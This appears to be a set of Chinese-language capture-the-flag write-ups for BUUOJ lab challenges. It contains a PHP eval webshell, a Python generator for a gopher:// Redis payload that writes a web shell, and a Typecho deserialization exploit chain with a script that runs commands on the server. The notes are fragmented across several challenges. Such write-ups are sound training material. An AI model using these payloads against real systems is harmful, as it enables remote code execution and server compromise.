打开环境,审计代码
代码功能是需要传入Ginkgo参数,其值需要经过base64编码,后端再解码通过eval函数执行
这里直接构造一句话上传编码后的参数
eval($_POST[123]);
---->ZXZhbCgkX1BPU1RbMTIzXSk7
直接通过连接中国蚁剑进入主目录查看flag
但是会发现一个readflag文件
ELF可执行文件,应该是读取flag的文件,现在就是需要执行它
但是这里并不能执行并且禁用了大多函数
需要bypass disable_functions执行/readflag,
网上有利用脚本,直接修改脚本的命令上传到强大的tmp目录下
include('/tmp/exploit')
base64编码之后传参即回显flag
打开环境是基于ShopXO的电商系统,网上搜一下很容易找到默认后台
登录成功后找到上传点如下:
在上面下载默认主体然后在以下文件夹上传一句话,直接写入文件夹,因为等下也是要上传zip文件的
访问http://9db2649b-284a-458e-9aa1-0ea003101c66.node3.buuoj.cn//public/static/index/default/3.php
并没有报错说明现在可以用蚁剑连接了
看一下auto.sh
发现有python脚本在/var/mail/makeflaghint.py
而且发现flag.hint文件中的内容是有这里控制的应该有着root权限直接加一个读取flag的脚本
这里明显提示我们可以执行命令
-根据提示找到cve,我开始找错了居然找成了server的cve,叫什么Nginx/OpenResty内存泄漏/目录穿越漏洞
开始没用头绪的时候抓包发现hint说是要本地然后结合CVE%00截断
然后又会提示必须以123结尾,那就123结尾嘛
点击跳转redis4.X/5.X漏洞复现
访问环境有提示访问?secret
暴出ip,然后写个脚本做个内网探测看同网段是否有回显不同的,然后返回以下六个
说明需要找到可突破的端口
跟着那个简单的脚本添加一个常用端口号然后遍历最后得到6379端口回显不正常
这里就要利用redis的未授权访问通过gopher协议生成exp
from urllib import parse
#设置一系列变量协议、IP、端口、shell命令、文件以及路径、数据库命令以及payload
protocol="gopher://"
ip="173.107.52.11"
port="6379"
shell="\n\n\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
#将命令格式化输出
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
#编码生成exp
if __name__=="__main__":
for x in cmd:
payload += parse.quote(redis_format(x))
print(payload)
然后通过get方式打过去再访问ip/shell.php就能getflag
拿到这个站是typecho的安装界面,直接百度typecho的漏洞就有好嘛----反序列化
这里是相关代码,base64解码后进行反序列化。
然后漏洞分析这里讲的很清楚 https://www.freebuf.com/vuls/155753.html
反序列化复制给$ config
----实例化Typecho_db(其文件在html.zip\ html\ var\ Typecho\ db.php)
----其中对传入的$ adapterName进行了字符串拼接
----如果传入的是一个类将会触发__toString方法(把类当作字符串时触发)
----寻找到Feed这个类中的__toString() 魔术方法,访问了$ item[‘author’]->screenName
----当$ item[‘author’]->screenName为一个不可访问的属性时,将会触发该类的__get()魔术方法(用于从不可访问数据读取数据)
----寻找输出点利用__get方法
利用条件:
1、$_GET[‘finish’] 参数不为空
2、Referer 必须是本站
$CMD = 'cat /flag';
class Typecho_Feed {
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
private $_type;
private $_items;
public function __construct() {
//$this->_type = $this::RSS2;
$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request {
private $_params = array();
private $_filter = array();
public function __construct() {
$this->_params['screenName'] = $GLOBALS[CMD];
$this->_filter[0] = 'assert';
}
}
$exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' );
echo base64_encode(serialize($exp));
?>
import requests
url='http://54393664-a656-4761-8793-d851f6fbd293.node3.buuoj.cn/install.php?finish=1'
files={'file':123}
headers={
#__typecho_config为序列化的内容
'cookie':'PHPSESSID=test; __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6 IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi 4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhv ciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYX JhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlw ZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicH JlZml4IjtzOjQ6InRlc3QiO30=',
'Referer':'http://54393664-a656-4761-8793-d851f6fbd293.node3.buuoj.cn/install.php'
}
re=requests.post(url, files=files, headers=headers, data= {"PHP_SESSION_UPLOAD_PROGRESS": "123456789"})
print(re.text)
poc构造经过base64编码的内容,然后在cookie里作为__typecho_config的值上传,以及post一个和PHP_SESSION_UOLOAD_PROGRESS的同名变量,返回网页源代码得到flag